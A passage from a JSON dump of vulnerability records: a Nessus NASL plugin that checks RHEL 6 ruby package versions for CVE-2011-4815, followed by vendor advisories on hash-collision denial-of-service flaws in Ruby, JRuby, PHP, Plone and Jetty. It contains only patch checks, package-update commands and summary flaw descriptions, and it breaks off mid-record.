Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(57746);\n script_version(\"1.22\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2011-4815\");\n script_bugtraq_id(51198);\n script_xref(name:\"RHSA\", value:\"2012:0069\");\n\n script_name(english:\"RHEL 6 : ruby (RHSA-2012:0069)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated ruby packages that fix one security issue are now available\nfor Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. A Common Vulnerability Scoring System (CVSS)\nbase score, which gives a detailed severity rating, is available from\nthe CVE link in the References section.\n\nRuby is an extensible, interpreted, object-oriented, scripting\nlanguage. It has features to process text files and to do system\nmanagement tasks.\n\nA denial of service flaw was found in the implementation of\nassociative arrays (hashes) in Ruby. An attacker able to supply a\nlarge number of inputs to a Ruby application (such as HTTP POST\nrequest parameters sent to a web application) that are used as keys\nwhen inserting data into an array could trigger multiple hash function\ncollisions, making array operations take an excessive amount of CPU\ntime. To mitigate this issue, randomization has been added to the hash\nfunction to reduce the chance of an attacker successfully causing\nintentional collisions. (CVE-2011-4815)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian Walde and Alexander Klink as the original\nreporters.\n\nAll users of ruby are advised to upgrade to these updated packages,\nwhich contain a backported patch to resolve this issue.\"\n );\n # http://www.ocert.org/advisories/ocert-2011-003.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://ocert.org/advisories/ocert-2011-003.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/errata/RHSA-2012:0069\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://access.redhat.com/security/cve/cve-2011-4815\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-docs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-irb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-rdoc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-ri\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-static\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:ruby-tcltk\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:6.2\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2011/12/30\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/01/31\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 6.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2012:0069\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"ruby-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"ruby-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"ruby-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"ruby-debuginfo-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"ruby-devel-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"ruby-docs-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"ruby-docs-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"ruby-docs-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"ruby-irb-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"ruby-irb-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"ruby-irb-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", reference:\"ruby-libs-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"ruby-rdoc-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"ruby-rdoc-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"ruby-rdoc-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"ruby-ri-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"ruby-ri-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"ruby-ri-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"ruby-static-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"ruby-static-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"ruby-static-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"i686\", reference:\"ruby-tcltk-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"s390x\", reference:\"ruby-tcltk-1.8.7.352-4.el6_2\")) flag++;\n\n if (rpm_check(release:\"RHEL6\", cpu:\"x86_64\", reference:\"ruby-tcltk-1.8.7.352-4.el6_2\")) flag++;\n\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"ruby / ruby-debuginfo / ruby-devel / ruby-docs / ruby-irb / etc\");\n }\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}], "gentoo": [{"lastseen": "2016-09-06T19:47:01", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4838"], "description": "### Background\n\nJRuby is a Java-based Ruby interpreter implementation.\n\n### Description\n\nJRuby does not properly randomize hash functions to protect against hash collision attacks. \n\n### Impact\n\nA remote attacker could send a specially crafted input, possibly resulting in a Denial of Service condition. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll JRuby users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=dev-java/jruby-1.6.5.1\"", "edition": 1, "modified": "2012-07-09T00:00:00", "published": "2012-07-09T00:00:00", "id": "GLSA-201207-06", "href": "https://security.gentoo.org/glsa/201207-06", "type": "gentoo", "title": "JRuby: Denial of Service", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}], "github": [{"lastseen": "2020-12-24T13:33:03", "bulletinFamily": "software", "cvelist": ["CVE-2011-4462"], "description": "Plone 4.1.3 and earlier computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters.", "edition": 3, "modified": "2019-07-03T21:02:01", "published": "2018-07-23T19:50:52", "id": "GHSA-PCWM-8JC3-QXVJ", "href": "https://github.com/advisories/GHSA-pcwm-8jc3-qxvj", "title": "Moderate severity vulnerability that affects Plone", "type": "github", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "oraclelinux": [{"lastseen": "2019-05-29T18:38:15", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4815"], "description": "[1.8.7.352-4]\n- Address CVE-2011-4815 'DoS (excessive CPU use) via hash meet-in-the-middle\n attacks (oCERT-2011-003)'\n * ruby-1.8.7-p352-CVE-2011-4815.patch\n- Resolves: rhbz#768831", "edition": 4, "modified": "2012-01-30T00:00:00", "published": "2012-01-30T00:00:00", "id": "ELSA-2012-0069", "href": "http://linux.oracle.com/errata/ELSA-2012-0069.html", "title": "ruby security update", "type": "oraclelinux", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-05-29T18:39:15", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4815", "CVE-2011-3009"], "description": "[1.8.5-22.1]\r\n- Properly initialize the random number generator when forking new process\r\n * ruby-1.8.7-CVE-2011-3009.patch\r\n - Related: rhbz#768829\r\n \n[1.8.5-21.1]\r\n- Revert accidential move of tcl/tk libraries.\r\n - Related: rhbz#768829\r\n \n[1.8.5-20.1]\r\n- Address CVE-2011-4815 \"DoS (excessive CPU use) via hash meet-in-the-middle\r\n attacks (oCERT-2011-003)\"\r\n * ruby-1.8.7-CVE-2011-4815.patch\r\n - Resolves: rhbz#768829", "edition": 4, "modified": "2012-01-30T00:00:00", "published": "2012-01-30T00:00:00", "id": "ELSA-2012-0070", "href": "http://linux.oracle.com/errata/ELSA-2012-0070.html", "title": "ruby security update", "type": "oraclelinux", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}], "jvn": [{"lastseen": "2019-05-29T17:21:45", "bulletinFamily": "info", "cvelist": ["CVE-2011-4815"], "description": "\n ## Description\n\nThe hash table implementation in Ruby contains an issue, where it may intentionally create a series of strings whose hash values collide. As a result, a denial-of-service (DoS) attack may be conducted. \n\n\n ## Impact\n\nWhen processing a series of specially crafted strings, a denial-of-service (DoS) may occur. \n\n\n ## Solution\n\n**Update the Software** \nUpdate to the latest version according to the information provided by the developer.\n\n ## Products Affected\n\n * Ruby versions prior to 1.8.7-p357\n * Ruby 1.9.x versions prior to 1.9.1\n", "edition": 4, "modified": "2012-07-06T00:00:00", "published": "2012-07-06T00:00:00", "id": "JVN:90615481", "href": "http://jvn.jp/en/jp/JVN90615481/index.html", "title": "JVN#90615481: Ruby hash table implementation vulnerable to denial-of-service", "type": "jvn", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}], "redhat": [{"lastseen": "2019-08-13T18:45:03", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4815"], "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It\nhas features to process text files and to do system management tasks.\n\nA denial of service flaw was found in the implementation of associative\narrays (hashes) in Ruby. An attacker able to supply a large number of\ninputs to a Ruby application (such as HTTP POST request parameters sent to\na web application) that are used as keys when inserting data into an array\ncould trigger multiple hash function collisions, making array operations\ntake an excessive amount of CPU time. To mitigate this issue, randomization\nhas been added to the hash function to reduce the chance of an attacker\nsuccessfully causing intentional collisions. (CVE-2011-4815)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian W\u00e4lde and Alexander Klink as the original reporters.\n\nAll users of ruby are advised to upgrade to these updated packages, which\ncontain a backported patch to resolve this issue.\n", "modified": "2018-06-06T20:24:07", "published": "2012-01-30T05:00:00", "id": "RHSA-2012:0069", "href": "https://access.redhat.com/errata/RHSA-2012:0069", "type": "redhat", "title": "(RHSA-2012:0069) Moderate: ruby security update", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-05-29T14:35:10", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4461"], "description": "Fuse MQ Enterprise, based on Apache ActiveMQ, is a standards compliant\nmessaging system that is tailored for use in mission critical applications.\n\nThis release of Fuse MQ Enterprise 7.1.0 serves as a replacement for Fuse\nMQ Enterprise 7.0.2, and includes bug fixes and enhancements. Refer to the\nFuse MQ Enterprise 7.1.0 Release Notes for information on the most\nsignificant of these changes. The Release Notes will be available shortly\nfrom https://access.redhat.com/knowledge/docs/\n\nThe following security issue is also fixed with this release:\n\nIt was found that the Java hashCode() method implementation was susceptible\nto predictable hash collisions. A remote attacker could use this flaw to\ncause the Jetty HTTP server (a component of Apache Karaf, used by Fuse MQ\nEnterprise) to use an excessive amount of CPU time by sending an HTTP\nrequest with a large number of parameters whose names map to the same hash\nvalue. This update introduces a limit of 1000 on the number of parameters\nprocessed per request to mitigate this issue. (CVE-2011-4461)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian Walde and Alexander Klink as the original reporters.\n\nAll users of Fuse MQ Enterprise 7.0.2 as provided from the Red Hat Customer\nPortal are advised to upgrade to Fuse MQ Enterprise 7.1.0.\n", "modified": "2019-03-22T23:43:52", "published": "2012-12-21T05:00:00", "id": "RHSA-2012:1605", "href": "https://access.redhat.com/errata/RHSA-2012:1605", "type": "redhat", "title": "(RHSA-2012:1605) Moderate: Fuse MQ Enterprise 7.1.0 update", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2019-05-29T14:34:10", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4461"], "description": "The Fuse Management Console is used for managing Fuse ESB Enterprise and\nFuse MQ Enterprise deployments.\n\nThis release of Fuse Management Console 7.1.0 serves as a replacement for\nFuse Management Console 1.0.2, and includes bug fixes and enhancements.\nRefer to the Fuse Management Console 7.1.0 Release Notes for information on\nthe most significant of these changes. The Release Notes will be available\nshortly from https://access.redhat.com/knowledge/docs/\n\nThe following security issue is also fixed with this release:\n\nIt was found that the Java hashCode() method implementation was susceptible\nto predictable hash collisions. A remote attacker could use this flaw to\ncause the Jetty HTTP server (a component of Apache Karaf, used by Fuse\nManagement Console) to use an excessive amount of CPU time by sending an\nHTTP request with a large number of parameters whose names map to the same\nhash value. This update introduces a limit of 1000 on the number of\nparameters processed per request to mitigate this issue. (CVE-2011-4461)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian Walde and Alexander Klink as the original reporters.\n\nAll users of Fuse Management Console 1.0.2 as provided from the Red Hat\nCustomer Portal are advised to upgrade to Fuse Management Console 7.1.0.\n", "modified": "2019-03-22T23:43:51", "published": "2012-12-21T05:00:00", "id": "RHSA-2012:1606", "href": "https://access.redhat.com/errata/RHSA-2012:1606", "type": "redhat", "title": "(RHSA-2012:1606) Moderate: Fuse Management Console 7.1.0 update", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2019-08-13T18:44:34", "bulletinFamily": "unix", "cvelist": ["CVE-2011-3009", "CVE-2011-4815"], "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It\nhas features to process text files and to do system management tasks.\n\nA denial of service flaw was found in the implementation of associative\narrays (hashes) in Ruby. An attacker able to supply a large number of\ninputs to a Ruby application (such as HTTP POST request parameters sent to\na web application) that are used as keys when inserting data into an array\ncould trigger multiple hash function collisions, making array operations\ntake an excessive amount of CPU time. To mitigate this issue, randomization\nhas been added to the hash function to reduce the chance of an attacker\nsuccessfully causing intentional collisions. (CVE-2011-4815)\n\nIt was found that Ruby did not reinitialize the PRNG (pseudorandom number\ngenerator) after forking a child process. This could eventually lead to the\nPRNG returning the same result twice. An attacker keeping track of the\nvalues returned by one child process could use this flaw to predict the\nvalues the PRNG would return in other child processes (as long as the\nparent process persisted). (CVE-2011-3009)\n\nRed Hat would like to thank oCERT for reporting CVE-2011-4815. oCERT\nacknowledges Julian Walde and Alexander Klink as the original reporters of\nCVE-2011-4815.\n\nAll users of ruby are advised to upgrade to these updated packages, which\ncontain backported patches to resolve these issues.\n", "modified": "2017-09-08T11:48:58", "published": "2012-01-30T05:00:00", "id": "RHSA-2012:0070", "href": "https://access.redhat.com/errata/RHSA-2012:0070", "type": "redhat", "title": "(RHSA-2012:0070) Moderate: ruby security update", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-05-29T14:34:42", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4461", "CVE-2012-5370"], "description": "Fuse ESB Enterprise, based on Apache ServiceMix, provides an integration\nplatform.\n\nThis release of Fuse ESB Enterprise 7.1.0 serves as a replacement for Fuse\nESB Enterprise 7.0.2, and includes bug fixes and enhancements. Refer to the\nFuse ESB Enterprise 7.1.0 Release Notes for information on the most\nsignificant of these changes. The Release Notes will be available shortly\nfrom https://access.redhat.com/knowledge/docs/\n\nThe following security issues are also fixed with this release:\n\nIt was found that the Java hashCode() method implementation was susceptible\nto predictable hash collisions. A remote attacker could use this flaw to\ncause the Jetty HTTP server (a component of Apache Karaf, used by Fuse ESB\nEnterprise) to use an excessive amount of CPU time by sending an HTTP\nrequest with a large number of parameters whose names map to the same hash\nvalue. This update introduces a limit of 1000 on the number of parameters\nprocessed per request to mitigate this issue. (CVE-2011-4461)\n\nA denial of service flaw was found in the implementation of associative\narrays (hashes) in JRuby. An attacker able to supply a large number of\ninputs to a JRuby application (such as HTTP POST request parameters sent to\na web application) that are used as keys when inserting data into an array\ncould trigger multiple hash function collisions, making array operations\ntake an excessive amount of CPU time. To mitigate this issue, the Murmur\nhash function has been replaced with the Perl hash function.\n(CVE-2012-5370)\n\nNote: Fuse ESB Enterprise 7.0.2 ships JRuby as part of the camel-ruby\ncomponent, which allows users to define Camel routes in Ruby. The default\nuse of JRuby in Fuse ESB Enterprise 7.0.2 does not appear to expose this\nflaw. If the version of JRuby shipped with Fuse ESB Enterprise 7.0.2 was\nused to build a custom application, then this flaw could be exposed.\n\nRed Hat would like to thank oCERT for reporting CVE-2011-4461. oCERT\nacknowledges Julian Walde and Alexander Klink as the original reporters of\nCVE-2011-4461.\n\nAll users of Fuse ESB Enterprise 7.0.2 as provided from the Red Hat\nCustomer Portal are advised to upgrade to Fuse ESB Enterprise 7.1.0.\n", "modified": "2019-03-22T23:43:52", "published": "2012-12-21T05:00:00", "id": "RHSA-2012:1604", "href": "https://access.redhat.com/errata/RHSA-2012:1604", "type": "redhat", "title": "(RHSA-2012:1604) Moderate: Fuse ESB Enterprise 7.1.0 update", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2019-08-13T18:44:39", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4566", "CVE-2011-4885"], "description": "PHP is an HTML-embedded scripting language commonly used with the Apache\nHTTP Server.\n\nIt was found that the hashing routine used by PHP arrays was susceptible\nto predictable hash collisions. If an HTTP POST request to a PHP\napplication contained many parameters whose names map to the same hash\nvalue, a large amount of CPU time would be consumed. This flaw has been\nmitigated by adding a new configuration directive, max_input_vars, that\nlimits the maximum number of parameters processed per request. By\ndefault, max_input_vars is set to 1000. (CVE-2011-4885)\n\nAn integer overflow flaw was found in the PHP exif extension. On 32-bit\nsystems, a specially-crafted image file could cause the PHP interpreter to\ncrash or disclose portions of its memory when a PHP script tries to extract\nExchangeable image file format (Exif) metadata from the image file.\n(CVE-2011-4566)\n\nRed Hat would like to thank oCERT for reporting CVE-2011-4885. oCERT\nacknowledges Julian Walde and Alexander Klink as the original reporters of\nCVE-2011-4885.\n\nAll php53 and php users should upgrade to these updated packages, which\ncontain backported patches to resolve these issues. After installing the\nupdated packages, the httpd daemon must be restarted for the update to take\neffect.\n", "modified": "2018-06-06T20:24:34", "published": "2012-01-11T05:00:00", "id": "RHSA-2012:0019", "href": "https://access.redhat.com/errata/RHSA-2012:0019", "type": "redhat", "title": "(RHSA-2012:0019) Moderate: php53 and php security update", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}], "centos": [{"lastseen": "2020-12-08T03:36:57", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4815"], "description": "**CentOS Errata and Security Advisory** CESA-2012:0069\n\n\nRuby is an extensible, interpreted, object-oriented, scripting language. It\nhas features to process text files and to do system management tasks.\n\nA denial of service flaw was found in the implementation of associative\narrays (hashes) in Ruby. An attacker able to supply a large number of\ninputs to a Ruby application (such as HTTP POST request parameters sent to\na web application) that are used as keys when inserting data into an array\ncould trigger multiple hash function collisions, making array operations\ntake an excessive amount of CPU time. To mitigate this issue, randomization\nhas been added to the hash function to reduce the chance of an attacker\nsuccessfully causing intentional collisions. (CVE-2011-4815)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian W\u00e4lde and Alexander Klink as the original reporters.\n\nAll users of ruby are advised to upgrade to these updated packages, which\ncontain a backported patch to resolve this issue.\n\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2012-January/030438.html\nhttp://lists.centos.org/pipermail/centos-announce/2012-January/042774.html\n\n**Affected packages:**\nruby\nruby-devel\nruby-docs\nruby-irb\nruby-libs\nruby-rdoc\nruby-ri\nruby-static\nruby-tcltk\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2012-0069.html", "edition": 4, "modified": "2012-01-31T10:23:57", "published": "2012-01-30T20:27:31", "href": "http://lists.centos.org/pipermail/centos-announce/2012-January/030438.html", "id": "CESA-2012:0069", "title": "ruby security update", "type": "centos", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-12-20T18:25:28", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4815", "CVE-2011-3009"], "description": "**CentOS Errata and Security Advisory** CESA-2012:0070\n\n\nRuby is an extensible, interpreted, object-oriented, scripting language. It\nhas features to process text files and to do system management tasks.\n\nA denial of service flaw was found in the implementation of associative\narrays (hashes) in Ruby. An attacker able to supply a large number of\ninputs to a Ruby application (such as HTTP POST request parameters sent to\na web application) that are used as keys when inserting data into an array\ncould trigger multiple hash function collisions, making array operations\ntake an excessive amount of CPU time. To mitigate this issue, randomization\nhas been added to the hash function to reduce the chance of an attacker\nsuccessfully causing intentional collisions. (CVE-2011-4815)\n\nIt was found that Ruby did not reinitialize the PRNG (pseudorandom number\ngenerator) after forking a child process. This could eventually lead to the\nPRNG returning the same result twice. An attacker keeping track of the\nvalues returned by one child process could use this flaw to predict the\nvalues the PRNG would return in other child processes (as long as the\nparent process persisted). (CVE-2011-3009)\n\nRed Hat would like to thank oCERT for reporting CVE-2011-4815. oCERT\nacknowledges Julian Walde and Alexander Klink as the original reporters of\nCVE-2011-4815.\n\nAll users of ruby are advised to upgrade to these updated packages, which\ncontain backported patches to resolve these issues.\n\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2012-January/030432.html\nhttp://lists.centos.org/pipermail/centos-announce/2012-January/030439.html\n\n**Affected packages:**\nirb\nruby\nruby-devel\nruby-docs\nruby-irb\nruby-libs\nruby-mode\nruby-rdoc\nruby-ri\nruby-tcltk\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2012-0070.html", "edition": 3, "modified": "2012-01-30T20:39:35", "published": "2012-01-30T18:44:29", "href": "http://lists.centos.org/pipermail/centos-announce/2012-January/030432.html", "id": "CESA-2012:0070", "title": "irb, ruby security update", "type": "centos", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-12-20T18:27:23", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4885", "CVE-2012-0830"], "description": "**CentOS Errata and Security Advisory** CESA-2012:0093\n\n\nPHP is an HTML-embedded scripting language commonly used with the Apache\nHTTP Server.\n\nIt was discovered that the fix for CVE-2011-4885 (released via\nRHSA-2012:0071, RHSA-2012:0033, and RHSA-2012:0019 for php packages in Red\nHat Enterprise Linux 4, 5, and 6 respectively) introduced an uninitialized\nmemory use flaw. A remote attacker could send a specially-crafted HTTP\nrequest to cause the PHP interpreter to crash or, possibly, execute\narbitrary code. (CVE-2012-0830)\n\nAll php users should upgrade to these updated packages, which contain a\nbackported patch to resolve this issue. After installing the updated\npackages, the httpd daemon must be restarted for the update to take effect.\n\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2012-February/030453.html\nhttp://lists.centos.org/pipermail/centos-announce/2012-February/030456.html\nhttp://lists.centos.org/pipermail/centos-announce/2012-February/030458.html\n\n**Affected packages:**\nphp\nphp-bcmath\nphp-cli\nphp-common\nphp-dba\nphp-devel\nphp-domxml\nphp-embedded\nphp-enchant\nphp-gd\nphp-imap\nphp-intl\nphp-ldap\nphp-mbstring\nphp-mysql\nphp-ncurses\nphp-odbc\nphp-pdo\nphp-pear\nphp-pgsql\nphp-process\nphp-pspell\nphp-recode\nphp-snmp\nphp-soap\nphp-tidy\nphp-xml\nphp-xmlrpc\nphp-zts\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2012-0093.html", "edition": 4, "modified": "2012-02-03T02:16:36", "published": "2012-02-03T01:41:17", "href": "http://lists.centos.org/pipermail/centos-announce/2012-February/030453.html", "id": "CESA-2012:0093", "title": "php security update", "type": "centos", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "amazon": [{"lastseen": "2020-11-10T12:36:05", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4815"], "description": "**Issue Overview:**\n\nRuby (aka CRuby) before 1.8.7-p357 computes hash values without restricting the ability to trigger hash collisions predictably, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted input to an application that maintains a hash table. \n\n \n**Affected Packages:** \n\n\nruby\n\n \n**Issue Correction:** \nRun _yum update ruby_ to update your system.\n\n \n\n\n**New Packages:**\n \n \n i686: \n ruby-1.8.7.357-1.10.amzn1.i686 \n ruby-static-1.8.7.357-1.10.amzn1.i686 \n ruby-libs-1.8.7.357-1.10.amzn1.i686 \n ruby-ri-1.8.7.357-1.10.amzn1.i686 \n ruby-debuginfo-1.8.7.357-1.10.amzn1.i686 \n ruby-devel-1.8.7.357-1.10.amzn1.i686 \n \n noarch: \n ruby-irb-1.8.7.357-1.10.amzn1.noarch \n ruby-rdoc-1.8.7.357-1.10.amzn1.noarch \n \n src: \n ruby-1.8.7.357-1.10.amzn1.src \n \n x86_64: \n 